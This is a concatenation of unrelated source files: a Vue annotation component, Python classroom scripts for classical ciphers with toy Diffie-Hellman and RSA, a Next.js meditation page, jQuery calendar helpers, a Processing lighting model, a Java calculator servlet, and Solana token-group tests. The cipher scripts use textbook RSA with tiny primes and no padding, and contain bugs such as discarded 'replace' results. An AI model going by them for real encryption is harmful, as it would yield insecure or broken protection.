this.normaliseMarkShape(shapeData);
// 0.15 ~ is approximately correct for the offset to be within the circle always
let offset = 0.15 * this.circleSize;
let diffX = this.maxX - this.minX;
let diffY = this.maxY - this.minY;
let d = '';
for (let i = 0; i < shapeData.pathCoordinates.length; i++) {
let coords = shapeData.pathCoordinates[i];
let command = (i === 0) ? 'M' : 'L';
// Scale the coordinate such that a smaller version of the mark can be given within the circle icon
let xCoordinate = (Math.round(coords.x - this.minX) / diffX * this.scaleFactor) + offset;
let yCoordinate = (Math.round(coords.y - this.minY) / diffY * this.scaleFactor) + offset;
// Set path coordinate to the calculated coordinate, or if NaN, set the coordinate to the middle of the icon.
d += `${ command } ${ xCoordinate ? xCoordinate : this.circleSize / 2 } ${ yCoordinate ? yCoordinate : this.circleSize / 2 }`;
}
return d;
},
createIconCircle() {
let svgIcon = this.$refs.icon as SVGElement;
while (svgIcon.lastChild) {
svgIcon.removeChild(svgIcon.lastChild);
}
if (svgIcon) {
let circle = document.createElementNS(SVG_NS, 'circle');
let circleRadius = (this.circleSize / 2).toString();
circle.setAttribute('stroke', 'black');
circle.setAttribute('stroke-width', '1');
circle.setAttribute('vector-effect', 'non-scaling-stroke');
circle.setAttribute('fill', 'white');
circle.setAttribute('cx', circleRadius);
circle.setAttribute('cy', circleRadius);
circle.setAttribute('r', circleRadius);
svgIcon.appendChild(circle);
}
},
normaliseMarkShape(shapeData: ImageAnnotationMarkFreehandShapeData): void {
shapeData.pathCoordinates.forEach((coords) => {
this.setInitialCoordinates(coords);
if (coords.x < this.minX) {
this.minX = coords.x;
}
if (coords.x > this.maxX) {
this.maxX = coords.x;
}
if (coords.y < this.minY) {
this.minY = coords.y;
}
if (coords.y > this.maxY) {
this.maxY = coords.y;
}
});
},
setInitialCoordinates(coords: PathCoordinates) {
if (this.maxX === null) {
this.maxX = coords.x;
}
if (this.minX === null) {
this.minX = coords.x;
}
if (this.minY === null) {
this.minY = coords.y;
}
if (this.maxY === null) {
this.maxY = coords.y;
}
},
resetValues() {
this.maxX = null;
this.maxY = null;
this.minX = null;
this.minY = null;
},
markOptionsClicked() {
this.$emit('markOptionsClicked', this.index);
},
renameMark() {
this.editingMarkLabel = true;
this.$emit('renameMark', this.index);
},
deleteMark() {
this.$emit('deleteMark', this.index);
},
finishRenamingMark() {
this.editingMarkLabel = false;
},
toggleThisSelectedMark() {
if (this.markIsSelected) {
this.$emit('selectAMark', -1);
} else {
this.$emit('selectAMark', this.index);
}
}
}
});
</script>
<style lang="scss"
scoped>
@use "../../../../Styles/abstracts/all" as *;
.annotation-mark {
width: 100%;
margin: 5px;
display: flex;
border-left: 7px solid transparent;
justify-content: space-between;
font-size: 14px;
.annotation-mark-details {
display: inline-flex;
.annotation-mark-details-image {
margin: 4px;
width: 30px;
height: 30px;
flex: 0 0 auto;
svg {
width: 100%;
height: 100%;
}
}
.annotation-mark-details-title {
display: flex;
flex: 1 1 auto;
align-items: center;
margin: 4px;
}
.annotation-mark-details-title-edit {
flex: 1 1 auto;
padding: 5px;
}
}
.annotation-mark-details-options {
display: flex;
align-items: center;
margin: 4px;
}
}
.selected-mark {
background-color: $nhsuk-grey-lighter;
border-left: 7px solid $nhsuk-blue;
}
</style> |
########
###caesar cipher
pt = input("Enter the plain Text").lower()
pt = [ord(a)-97 for a in pt]
key = int(input("Enter the key"))
print("Encrypted text is")
cip = []
for i in pt:
cip.append((i+key)%26)
print(chr((i+key)%26+97),end="")
print()
print("Decrypted text is")
for i in cip:
print(chr((i-key)%26+97),end="")
#########
#########
##play fair cipher
def find(a,b):
temp = 0
r1,c1,r2,c2 =0,0,0,0
for i in range(25):
if temp!=2:
if a==keym[i//5][i%5]:
r1,c1 = i//5,i%5
temp+=1
if b==keym[i//5][i%5]:
r2,c2 = i//5,i%5
temp+=1
else:
break
#checking the 3 conditions
#1st is checking the same row if same then we need to just increase the row count
if(c1==c2):
print("{}{}".format(keym[(r1+1)%5][c1],keym[(r2+1)%5][c2]),end="")
elif(r1==r2):
print("{}{}".format(keym[r1][(c1+1)%5],keym[r2][(c2+1)%5]),end="")
else:
print("{}{}".format(keym[r1][c2],keym[r2][c1]),end="")
#user inputs
pt = input("Enter the plainText: ").replace(' ','')
key = input("Enter the key: ").replace(' ','')
# pt = "nittemeenakshiinstuteoftechnology"
# key = "monarrchy"
#convert given string to lower case
pt = pt.lower()
key = key.lower()
pt.replace('j','i')
key.replace('j','i')
pt = [a for a in pt]
for i in range(0,len(pt),2):
if pt[i]==pt[i+1]:
pt.insert(i+1,'x')
while(len(pt)%2!=0):
pt.append('z')
#convert to numbers
key1,key2 = set(),list()
for a in key:
if a not in key1:
key1.add(a)
key2.append(a)
#make key only unique values
#creating the key matrix
global keym
keym = [['0' for i in range(5)] for j in range(5)]
alpha = [chr(i+97) for i in range(26)]
#removing j since i and j are similiar
alpha.remove('j')
count,j =0,0
for i in range(25):
if(count<len(key2)):
alpha.remove(key2[count])
keym[i//5][i%5] = key2[count]
count+=1
else:
keym[i//5][i%5] = alpha[j]
j+=1
for i in range(0,len(pt),2):
find(pt[i],pt[i+1])
##########
Hill cipher
import numpy as np
pt = input("Enter the plain text ").lower()
key = input("Enter the key ").lower()
pt = np.array([(ord(a)-97) for a in pt])
key = np.array([(ord(b)-97) for b in key]) #converting alphabets to ascii values
#converting the given text to lowercase
if(len(key)==4):
size = 2
keym = key.reshape(2,2)
if(len(key)==9):
size = 3
keym = key.reshape(3,3)
# loop to append extra characters
while(len(pt)%size!=0):
pt = np.append(pt,23)
#splits the array into equal parts
ptm = np.array_split(pt,len(pt)/size)
print("Encrypted text is")
enc = []
for a in ptm:
a = a.reshape(size,1)
encr = np.dot(keym,a)%26
for a in np.nditer(encr):
enc.append(a)
print(chr(a+97),end=" ")
print()
print("decrypted text is")
adj = np.linalg.inv(keym)
det = round(np.linalg.det(keym))
adj = adj*det # inverse*det = adjacent matrix
#np.where() to add all the negative numbers
np.where(adj<0,adj+26,adj)
# loop to find the inverse which is used to multiply with matrix
# use extended euclidean algorithm instead of this.
x = 1
while((det*x)%26!=1):
x+=1
final = (x*adj)%26 #final is the inverse matrix of the key
enc = np.array(enc) #enc is the ciphertext
encm = np.array_split(enc,len(enc)/size) #spliting it into equal sizes
for a in encm:
a = a.reshape(size,1)
decr = np.round_(np.dot(final,a))
decr = decr.astype(int)
decr = decr%26
for a in np.nditer(decr):
print(chr(a+97),end=" ")
############
################
#vigner cipher
pt = input()
key = input()
pt = pt.lower()
key = key.lower()
pt = [ord(a)-97 for a in pt]
key = [ord(a)-97 for a in key]
i=0
while(len(key)!=len(pt)):
key.append(key[i])
i+=1
if(i==len(key)):
i=0
for i,j in zip(pt,key):
res = (i+j)%26
print(chr(res+97),end="")
#############
#######
railfence cipher
pt = input("Enter the plain text: ")
key = int(input("Enter the key: "))
res = [['0' for j in range(0,len(pt))]for j in range(0,key)]
r,c=0,0
temp = 1
for i in pt:
res[r][c]=i
c+=1
if temp==1:
r+=1
if r>=key-1:
temp=0
else:
r-=1
if r<=0:
temp = 1
for i in range(0,key):
for j in range(0,len(pt)):
if res[i][j]!='0':
print(res[i][j],end="")
#########
Diffie Helman
def gcd(a,b):
if b==0:
return a
else:
return gcd(b,a%b)
def primitive_root(modulo):
roots=[]
required_set=set(num for num in range(1,modulo) if gcd(num,modulo)==1)
for g in range(1,modulo):
actual_set=set(pow(g,powers)%modulo for powers in range(1,modulo))
if actual_set==required_set:
roots.append(g)
return roots
p=int(input("Enter prime number:"))
print("These are the primitive roots of your chosen prime number:")
print(primitive_root(p))
g=int(input("Choose any one:"))
a=int(input("Enter Private key of Alice:"))
b=int(input("Enter Private key of Bob:"))
x =int(pow(g,a)%p)
y =int(pow(g,b)%p)
print(f"Public key of Alice:{x}")
print(f"Public key of Bob:{y}")
ka=int(pow(y,a)%p)
kb=int(pow(x,b)%p)
print(f"Shared key of Alice:{ka}")
print(f"Shared key of Bob:{kb}")
##################################
RSA
def gcd(p,q):
while(q!=0):
p,q=q,p%q
if p==1:
return True
else:
return False
pt = int(input("Enter the plan text"))
p = int(input("Enter the first prime number"))
q = int(input("Enter the second prime number"))
n = p*q
pi = (p-1)*(q-1)
res=[]
for i in range(2,pi):
if gcd(i,pi):
res.append(i)
print(res)
e = int(input("Enter your public key e"))
x=1
while((e*x)%pi!=1):
x+=1
# if gcd1(e,pi)!=1:
# print("Inverse doesnt exist")
# exit(0)
# if x<0:
# x+=pi
print("corresponding d(private key) is ",x)
cip = (pt**e)%n
print("The cipher text is",cip)
dec = (cip**x)%n
print("The decrypted text is ",dec)
################################################## |
import Head from 'next/head'
import Image from 'next/image'
import { Inter } from '@next/font/google'
import { useState, useEffect, useRef } from 'react'
import Utils from '../components/animation/utils.js';
import Animator from '../components/animation/animationManager';
import Cursor from '../components/cursor/cursorComponent';
import Playlist from '../components/playlist/playlistComponent';
import PlayButton from '../components/play_button/playButtonComponent';
import image1 from '../public/images/robin-schreiner.jpg'
import image2 from '../public/images/jean-philippe.jpg'
import image3 from '../public/images/zoltan-tasi.jpg'
const inter = Inter({ subsets: ['latin'] })
export async function getServerSideProps() {
let images = [
{
src: image2.src,
scale: 0.25,
width: image2.width,
height: image2.height
},
{
src: image3.src,
scale: 0.25,
width: image3.width,
height: image3.height
},
]
let meditations = [
{
name: "Intuition deep knowing relaxation practice",
guide: "Tracee Stanley",
src: "/meditations/Intuition Deep Knowing Relaxation Practice - Tracee Stanley.mp3"
},
{
name: "10 min meditation",
guide: "Marlene Zehnter",
src: "/meditations/10 min meditation by Marlene Zehnter.mp3"
},
{
name: "Body grounding deep relaxation practice",
guide: "Tracee Stanley",
src: "/meditations/Body Grounding Deep Relaxation Practice - Tracee Stanley.mp3"
},
{
name: "Bliss divine connection practice",
guide: "Tracee Stanley",
src: "/meditations/Bliss Divine Connection Practice - Tracee Stanley.mp3"
},
{
name: "Healing your inner child",
guide: "Rising Woman",
src: "/meditations/Healing Your Inner Child - Rising Woman.mp3"
},
]
let music = [
{
//src: "/music/Low Tide Unguided Meditation Conor_1.2_Nrmlzd2_30mins_VBR5-quiet.mp3"
src: "/music/Serendipity - Ari Urban - quiet.mp3"
},
]
return Promise.resolve({
props: {
images,
meditations,
music
},
});
}
export default function Home({ images, meditations, music }) {
const [currentImage, setCurrentImage] = useState(0);
const [alteredImages, setAlteredImages] = useState(images);
const [imageContainers, setImageContainers] = useState([]);
const currentInterval = useRef(null);
const transitionDuration = useRef(40);
const totalDurationPerChunk = 16000;
const meditationAudio = useRef(null);
const musicAudio = useRef(null);
const nextMeditation = useRef();
const playing = useRef(false);
useEffect(() => {
addEventListener("resize", (event) => {
setAlteredImages(alteredImages.map( (image) => {
if (image.width*image.scale <= window.innerWidth || image.height*image.scale <= window.innerHeight)
image.backgroundSize = "cover";
else
image.backgroundSize = "initial";
return image;
})
)});
meditationAudio.current = new Audio(meditations[0].src);
musicAudio.current = new Audio(music[0].src);
}, []);
useEffect(() => {
Animator.fadeOut(".overlay", 3000, 3000, transitionDuration.current*1000)
}, [imageContainers])
useEffect(() => {
alteredImages.forEach( (image) => {
if (image.width*image.scale <= window.innerWidth || image.height*image.scale <= window.innerHeight)
image.backgroundSize = "cover";
else
image.backgroundSize = "initial";
})
setImageContainers(alteredImages.map( (image, index) => {
let top = 0,
left = 0;
if (image.scale == 0.5) {
top = left = "-50%";
}
if (image.scale == 0.25) {
top = left = "-150%";
}
return (
<div key={index} className="imageContainer">
<div className="overlay"
>
</div>
<div className="main-image"
style={{
backgroundImage: `url(${image.src})`,
scale: "" + image.scale,
height: Math.max(100/image.scale, 100) + "vh",
width: Math.max(100/image.scale, 100) + "vw",
//transition: `background-position ${transitionDuration.current}s ease`,
backgroundPosition: "25% 25%",
animationDuration: `${transitionDuration.current}s`,
animationName: "moveAround",
animationIterationCount: "infinite",
animationDirection: "alternate",
animationTimingFunction: "easeInOut",
animationDelay: "1s",
top: top,
backgroundSize: image.backgroundSize,
left: left,
}}
>
</div>
<div className="lines">
<div className="line"></div>
<div className="line"></div>
<div className="line"></div>
</div>
</div>
)
}))
}, [alteredImages]);
useEffect(() => {
let xChange = 100;
let yChange = 100;
let interval = setTimeout(() => {
let image = document.querySelector(".main-image");
image.style.backgroundPositionX = "100%";
image.style.backgroundPositionY = "100%";
}, 3000);
/*
Animator.animateImage(".main-image", xChange, yChange, transitionDuration.current*1000);
Animator.fadeOutIn(".overlay", 3000, 3000, transitionDuration.current*1000)
let interval = setInterval(() => {
setCurrentImage((currentImage + 1) % alteredImages.length);
}, transitionDuration.current*1000); // Change image every 2 seconds
currentInterval.current = interval;
return () => clearInterval(interval);
*/
return () => clearInterval(interval);
}, [currentImage]); // end useEffect
function setNewMeditation(next) {
nextMeditation.current = next;
playing.current = false;
}
function playMeditationHandler() {
if (playing.current == true && meditationAudio.current.paused) {
meditationAudio.current.play();
musicAudio.current.play();
return;
} else if (playing.current == true){
meditationAudio.current.pause();
musicAudio.current.pause();
return;
}
meditationAudio.current.src = nextMeditation.current.src;
musicAudio.current.src = music[0].src;
setTimeout(() => {
meditationAudio.current.play();
musicAudio.current.play();
musicAudio.current.loop = true;
playing.current = true;
}, 500)
meditationAudio.current.addEventListener(["canplaythrough", "canplay"], (event) => {
/* the audio is now playable; play it if permissions allow
meditationAudio.current.play();
*/
});
meditationAudio.current.addEventListener("ended", (event) => {
/* the audio is now playable; play it if permissions allow */
musicAudio.current.pause();
});
musicAudio.current.addEventListener("canplaythrough", (event) => {
/* the audio is now playable; play it if permissions allow
musicAudio.current.play();
musicAudio.current.loop = true;
*/
});
}
function changeMeditationHandler(nextMeditation) {
return;
meditationAudio.current.src = nextMeditation.src;
musicAudio.current.src = music[0].src;
meditationAudio.current.addEventListener("canplaythrough", (event) => {
/* the audio is now playable; play it if permissions allow */
meditationAudio.current.play();
});
meditationAudio.current.addEventListener("ended", (event) => {
/* the audio is now playable; play it if permissions allow */
musicAudio.current.pause();
});
musicAudio.current.addEventListener("canplaythrough", (event) => {
/* the audio is now playable; play it if permissions allow */
musicAudio.current.play();
musicAudio.current.loop = true;
});
}
return (
<>
<Head>
<title>Meditation</title>
<meta name="description" content="" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="icon" href="/favicon.ico" />
</Head>
<Cursor/>
<main id="main">
{imageContainers[currentImage]}
<div className="backgroundWrapper">
<div className="darkBackground">
</div>
</div>
<Playlist setNewMeditation={setNewMeditation} changeMeditationHandler={changeMeditationHandler} list={meditations}/>
<PlayButton clickHandler={playMeditationHandler} />
</main>
</>
)
} |
// Fungsi untuk membatasi input hanya angka dan tombol "backspace" menggunakan event keydown
const renderCountInput = (event) => {
// Ambil kode tombol yang ditekan (cross-browser support)
const count = (event.which) ? event.which : event.keyCode;
// Periksa apakah tombol yang ditekan adalah karakter angka (digit) atau tombol "backspace"
if ((count >= 48 && count <= 57) || count === 8) {
// Jika memenuhi kondisi di atas, lanjutkan dengan mengembalikan karakter yang sesuai
return String.fromCharCode(count);
} else {
// Jika bukan karakter angka atau tombol "backspace", cegah input lebih lanjut
event.preventDefault();
}
}
// Fungsi yang memanggil renderCountInput dan meneruskannya dengan event yang sama
function countInput(event) {
renderCountInput(event);
}
/**
* @method renderCurrency
* Fungsi untuk input mata uang dan otomatis memformat sebagai format mata uang Indonesia (IDR).
*
* @param {Event} event - Event yang memicu pemanggilan fungsi ini (biasanya event keyup).
*/
const renderCurrency = (event) => {
// Ambil kode tombol yang ditekan (cross-browser support)
const count = (event.which) ? event.which : event.keyCode;
// Periksa apakah tombol yang ditekan adalah karakter angka (digit) atau tombol "backspace"
if ((count >= 48 && count <= 57) || count === 8) {
// Jika memenuhi kondisi di atas, lanjutkan dengan mengembalikan karakter yang sesuai
return String.fromCharCode(count);
} else {
// Jika bukan karakter angka atau tombol "backspace", cegah input lebih lanjut
event.preventDefault();
}
// Menggunakan jQuery: jalankan kode setelah dokumen siap
$(document).ready(function () {
// Pasang event handler untuk input
$(event.target).on('input', function () {
if (this.value) {
// Hapus semua karakter non-digit dari nilai input
const value = parseInt(this.value.replace(/\D/g, ''));
// Format nilai sebagai mata uang dengan tanda desimal (IDR) menggunakan 'toLocaleString'
this.value = value.toLocaleString('id-ID', {
style: 'decimal'
});
} else {
// Jika nilai input kosong, setel nilainya menjadi 0
this.value = 0;
}
});
});
}
// Fungsi untuk merender tampilan kalender bulanan
$('.calendar').ready(function () {
// Daftar nama-nama bulan dalam Bahasa Indonesia
const months = [
"Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"
];
// Daftar nama-nama hari dalam Bahasa Indonesia
const nameDays = [
"Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu"
];
// Inisialisasi tanggal hari ini
const date = new Date();
// Fungsi untuk merender tampilan kalender
const renderCalendar = () => {
// Seleksi elemen dengan kelas 'days' untuk menampilkan hari-hari dalam kalender
const monthDays = document.querySelector('.days');
// Set tanggal ke 1
date.setDate(1);
// Menentukan tanggal akhir dari bulan ini dan bulan sebelumnya
const lastDay = new Date(date.getFullYear(), date.getMonth() + 1, 0).getDate();
const prevLastDay = new Date(date.getFullYear(), date.getMonth(), 0).getDate();
// Menentukan indeks hari pertama dalam bulan ini dan indeks hari terakhir bulan ini
const firstDayIndex = date.getDay();
const lastDayIndex = new Date(date.getFullYear(), date.getMonth() + 1, 0).getDay();
// Menentukan jumlah hari dari bulan sebelumnya yang akan ditampilkan
const nextDays = 7 - lastDayIndex - 1;
let days = "";
let today = "";
// Menampilkan hari-hari dari bulan sebelumnya yang masuk dalam tampilan kalender
for (let x = firstDayIndex; x > 0; x--) {
days += `<div class="prev-date">${prevLastDay - x + 1}</div>`;
}
// Menampilkan hari-hari dari bulan ini dalam tampilan kalender
for (let i = 1; i <= lastDay; i++) {
if (i === new Date().getDate() && new Date().getMonth() === date.getMonth()) {
days += `<div class="today">${i}</div>`;
today = i;
} else {
days += `<div>${i}</div>`;
}
}
// Menampilkan hari-hari dari bulan berikutnya yang masuk dalam tampilan kalender
for (let j = 1; j <= nextDays; j++) {
days += `<div class="next-date">${j}</div>`;
monthDays.innerHTML = days;
}
// Mengupdate nama bulan dan tanggal yang ditampilkan
const dateToday = date.toDateString().split(' ');
for (let k = 0; k <= nameDays.length - 1; k++) {
if (k === new Date().getDay()) {
dateToday[0] = nameDays[k];
}
}
dateToday[2] = today;
// Menampilkan nama bulan dan tanggal pada tampilan kalender
document.querySelector('.date h1').innerHTML = months[date.getMonth()];
document.querySelector('.date p').innerHTML = dateToday.join(' ');
}
// Event handler untuk tombol "Previous" (Bulan sebelumnya)
document.querySelector('.prev').addEventListener('click', () => {
date.setMonth(date.getMonth() - 1);
renderCalendar();
});
// Event handler untuk tombol "Next" (Bulan berikutnya)
document.querySelector('.next').addEventListener('click', () => {
date.setMonth(date.getMonth() + 1);
renderCalendar();
});
// Pertama kali, merender tampilan kalender
renderCalendar();
}) |
class Light
{
PVector position;
color diffuse;
color specular;
Light(PVector position, color col)
{
this.position = position;
this.diffuse = col;
this.specular = col;
}
Light(PVector position, color diffuse, color specular)
{
this.position = position;
this.diffuse = diffuse;
this.specular = specular;
}
color shine(color col)
{
return scaleColor(col, this.diffuse);
}
color spec(color col)
{
return scaleColor(col, this.specular);
}
}
class LightingModel
{
ArrayList<Light> lights;
LightingModel(ArrayList<Light> lights)
{
this.lights = lights;
}
color getColor(RayHit hit, Scene sc, PVector viewer)
{
color hitcolor = hit.material.getColor(hit.u, hit.v);
color surfacecol = lights.get(0).shine(hitcolor);
PVector tolight = PVector.sub(lights.get(0).position, hit.location).normalize();
float intensity = PVector.dot(tolight, hit.normal);
return lerpColor(color(0), surfacecol, intensity);
}
}
class PhongLightingModel extends LightingModel
{
color ambient;
boolean withshadow;
PhongLightingModel(ArrayList<Light> lights, boolean withshadow, color ambient)
{
super(lights);
this.withshadow = withshadow;
this.ambient = ambient;
}
color getColor(RayHit hit, Scene sc, PVector viewer)
{
color sumSPlusS = color(0, 0, 0);
color pL = color (0, 0, 0);
for (int i = 0; i < lights.size(); i++)
{
PVector toLight = PVector.sub(lights.get(i).position, hit.location).normalize();
PVector toViewer = PVector.sub(viewer, hit.location).normalize();
PVector origin = PVector.add(hit.location, PVector.mult(toLight, EPS));
Ray rayRef = new Ray(origin, toLight);
ArrayList<RayHit> hitRef = sc.root.intersect(rayRef);
if (hitRef.isEmpty() || !withshadow)
{
PVector R = PVector.sub(PVector.mult(PVector.mult(hit.normal, 2), PVector.dot(hit.normal, toLight)), toLight);
color shine = multColor(multColor(lights.get(i).shine(hit.material.getColor(hit.u, hit.v)), hit.material.properties.kd), PVector.dot(hit.normal, toLight));
color specular = multColor(multColor(lights.get(i).spec(hit.material.getColor(hit.u, hit.v)), hit.material.properties.ks), pow(PVector.dot(toViewer, R), hit.material.properties.alpha));
color sPlusS = addColors(shine, specular);
sumSPlusS = addColors(sPlusS, sumSPlusS);
}
}
pL = addColors(sumSPlusS, multColor(scaleColor(ambient, hit.material.getColor(hit.u, hit.v)), hit.material.properties.ka));
return pL;
}
} |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package es.albarregas.controllers;
import es.albarregas.beans.Calculator;
import es.albarregas.exceptions.DivisionPorCeroException;
import es.albarregas.models.Dividir;
import es.albarregas.models.Multiplicar;
import es.albarregas.models.Restar;
import es.albarregas.models.Sumar;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
*
* @author Sergio
*/
@WebServlet(name = "FrontController", urlPatterns = {"/FrontController"})
public class FrontController extends HttpServlet {
/**
* Processes requests for both HTTP <code>GET</code> and <code>POST</code>
* methods.
*
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
}
/**
* Handles the HTTP <code>GET</code> method.
*
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
}
/**
* Handles the HTTP <code>POST</code> method.
*
* @param request servlet request
* @param response servlet response
* @throws ServletException if a servlet-specific error occurs
* @throws IOException if an I/O error occurs
*/
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
boolean error = false;
String url = "JSP/resultado.jsp";
Calculator calculator = new Calculator();
try {
int op1 = Integer.parseInt(request.getParameter("op1"));
int op2 = Integer.parseInt(request.getParameter("op2"));
String opcion = request.getParameter("opcion");
switch (opcion) {
case "suma":
Sumar suma = new Sumar();
calculator.setResultado(suma.sumar(op1, op2));
calculator.setSigno(" + ");
break;
case "resta":
Restar resta = new Restar();
calculator.setResultado(resta.restar(op1, op2));
calculator.setSigno(" - ");
break;
case "multiplicacion":
Multiplicar multiplicacion = new Multiplicar();
calculator.setResultado(multiplicacion.multiplicar(op1, op2));
calculator.setSigno(" * ");
break;
case "division":
Dividir division = new Dividir();
try {
calculator.setResultado(division.dividir(op1, op2));
calculator.setSigno(" / ");
} catch (DivisionPorCeroException e) {
error = true;
}
}//cierre switch
if (error) {
request.setAttribute("error", "No se puede dividir entre cero");
url = "JSP/error.jsp";
} else {
calculator.setOp1(op1);
calculator.setOp2(op2);
request.setAttribute("cuenta", calculator);
}
} catch (NumberFormatException e) {
request.setAttribute("error", "Alguno de los operandos es inválido");
url = "JSP/error.jsp";
}
request.getRequestDispatcher(url).forward(request, response);
/**
* Returns a short description of the servlet.
*
* @return a String containing servlet description
*/
}
@Override
public String getServletInfo() {
return "Short description";
}// </editor-fold>
} |
#![cfg(feature = "test-sbf")]
#![allow(clippy::items_after_test_module)]
mod program_test;
use {
program_test::TestContext,
solana_program_test::{processor, tokio, ProgramTest},
solana_sdk::{
account::Account as SolanaAccount, instruction::InstructionError, pubkey::Pubkey,
signature::Signer, signer::keypair::Keypair, transaction::TransactionError,
transport::TransportError,
},
spl_token_2022::{extension::BaseStateWithExtensions, processor::Processor},
spl_token_client::token::{ExtensionInitializationParams, TokenError as TokenClientError},
spl_token_group_interface::{
error::TokenGroupError, instruction::update_group_max_size, state::TokenGroup,
},
std::{convert::TryInto, sync::Arc},
test_case::test_case,
};
fn setup_program_test() -> ProgramTest {
let mut program_test = ProgramTest::default();
program_test.add_program(
"spl_token_2022",
spl_token_2022::id(),
processor!(Processor::process),
);
program_test
}
async fn setup(mint: Keypair, authority: &Pubkey) -> TestContext {
let program_test = setup_program_test();
let context = program_test.start_with_context().await;
let context = Arc::new(tokio::sync::Mutex::new(context));
let mut context = TestContext {
context,
token_context: None,
};
let group_address = Some(mint.pubkey());
context
.init_token_with_mint_keypair_and_freeze_authority(
mint,
vec![ExtensionInitializationParams::GroupPointer {
authority: Some(*authority),
group_address,
}],
None,
)
.await
.unwrap();
context
}
// Successful attempts to set higher than size
#[test_case(0, 0, 10)]
#[test_case(5, 0, 10)]
#[test_case(50, 0, 200_000)]
#[test_case(100_000, 100_000, 200_000)]
#[test_case(50, 0, 300_000_000)]
#[test_case(100_000, 100_000, 300_000_000)]
#[test_case(100_000_000, 100_000_000, 300_000_000)]
#[test_case(0, 0, u32::MAX)]
#[test_case(200_000, 200_000, u32::MAX)]
#[test_case(300_000_000, 300_000_000, u32::MAX)]
// Attempts to set lower than size
#[test_case(5, 5, 4)]
#[test_case(200_000, 200_000, 50)]
#[test_case(200_000, 200_000, 100_000)]
#[test_case(300_000_000, 300_000_000, 50)]
#[test_case(u32::MAX, u32::MAX, 0)]
#[tokio::test]
async fn test_update_group_max_size(max_size: u32, size: u32, new_max_size: u32) {
let authority = Keypair::new();
let mint_keypair = Keypair::new();
let mut test_context = setup(mint_keypair.insecure_clone(), &authority.pubkey()).await;
let payer_pubkey = test_context.context.lock().await.payer.pubkey();
let token_context = test_context.token_context.take().unwrap();
let update_authority = Keypair::new();
let mut token_group = TokenGroup::new(
&mint_keypair.pubkey(),
Some(update_authority.pubkey()).try_into().unwrap(),
max_size,
);
token_context
.token
.token_group_initialize_with_rent_transfer(
&payer_pubkey,
&token_context.mint_authority.pubkey(),
&update_authority.pubkey(),
max_size,
&[&token_context.mint_authority],
)
.await
.unwrap();
{
// Update the group's size manually
let mut context = test_context.context.lock().await;
let group_mint_account = context
.banks_client
.get_account(mint_keypair.pubkey())
.await
.unwrap()
.unwrap();
let old_data = context
.banks_client
.get_account(mint_keypair.pubkey())
.await
.unwrap()
.unwrap()
.data;
let data = {
// 0....81: mint
// 82...164: padding
// 165..166: account type
// 167..170: extension discriminator (GroupPointer)
// 171..202: authority
// 203..234: group pointer
// 235..238: extension discriminator (TokenGroup)
// 239..270: mint
// 271..302: update_authority
// 303..306: size
// 307..310: max_size
let (front, back) = old_data.split_at(302);
let (_, back) = back.split_at(4);
let size_bytes = size.to_le_bytes();
let mut bytes = vec![];
bytes.extend_from_slice(front);
bytes.extend_from_slice(&size_bytes);
bytes.extend_from_slice(back);
bytes
};
context.set_account(
&mint_keypair.pubkey(),
&SolanaAccount {
data,
..group_mint_account
}
.into(),
);
token_group.size = size.into();
}
token_group.max_size = new_max_size.into();
if new_max_size < size {
let error = token_context
.token
.token_group_update_max_size(
&update_authority.pubkey(),
new_max_size,
&[&update_authority],
)
.await
.unwrap_err();
assert_eq!(
error,
TokenClientError::Client(Box::new(TransportError::TransactionError(
TransactionError::InstructionError(
0,
InstructionError::Custom(TokenGroupError::SizeExceedsNewMaxSize as u32)
)
))),
);
} else {
token_context
.token
.token_group_update_max_size(
&update_authority.pubkey(),
new_max_size,
&[&update_authority],
)
.await
.unwrap();
let mint_info = token_context.token.get_mint_info().await.unwrap();
let fetched_group = mint_info.get_extension::<TokenGroup>().unwrap();
assert_eq!(fetched_group, &token_group);
}
}
#[tokio::test]
async fn fail_authority_checks() {
let authority = Keypair::new();
let mint_keypair = Keypair::new();
let mut test_context = setup(mint_keypair, &authority.pubkey()).await;
let payer_pubkey = test_context.context.lock().await.payer.pubkey();
let token_context = test_context.token_context.take().unwrap();
let update_authority = Keypair::new();
token_context
.token
.token_group_initialize_with_rent_transfer(
&payer_pubkey,
&token_context.mint_authority.pubkey(),
&update_authority.pubkey(),
10,
&[&token_context.mint_authority],
)
.await
.unwrap();
// no signature
let mut instruction = update_group_max_size(
&spl_token_2022::id(),
token_context.token.get_address(),
&update_authority.pubkey(),
20,
);
instruction.accounts[1].is_signer = false;
let error = token_context
.token
.process_ixs(&[instruction], &[] as &[&dyn Signer; 0]) // yuck, but the compiler needs it
.await
.unwrap_err();
assert_eq!(
error,
TokenClientError::Client(Box::new(TransportError::TransactionError(
TransactionError::InstructionError(0, InstructionError::MissingRequiredSignature)
)))
);
// wrong authority
let wrong_authority = Keypair::new();
let error = token_context
.token
.token_group_update_max_size(&wrong_authority.pubkey(), 20, &[&wrong_authority])
.await
.unwrap_err();
assert_eq!(
error,
TokenClientError::Client(Box::new(TransportError::TransactionError(
TransactionError::InstructionError(
0,
InstructionError::Custom(TokenGroupError::IncorrectUpdateAuthority as u32)
)
)))
);
} |
import React, { useContext } from 'react';
import { Container, Segment, Header, Button, Image } from 'semantic-ui-react';
import { Link } from 'react-router-dom';
import './styles.css';
import { RootStoreContext } from '../../app/stores/root.store';
import LoginForm from '../user/login.form';
import { RegisterForm } from '../user/register.form';
const HomePage = () => {
const token = window.localStorage.getItem('jwt');
const rootStore = useContext(RootStoreContext);
const { isLoggedIn, user } = rootStore.userStore;
const { openModal } = rootStore.modalStore;
return (
<Segment inverted textAlign="center" vertical className="masthead">
<Container text>
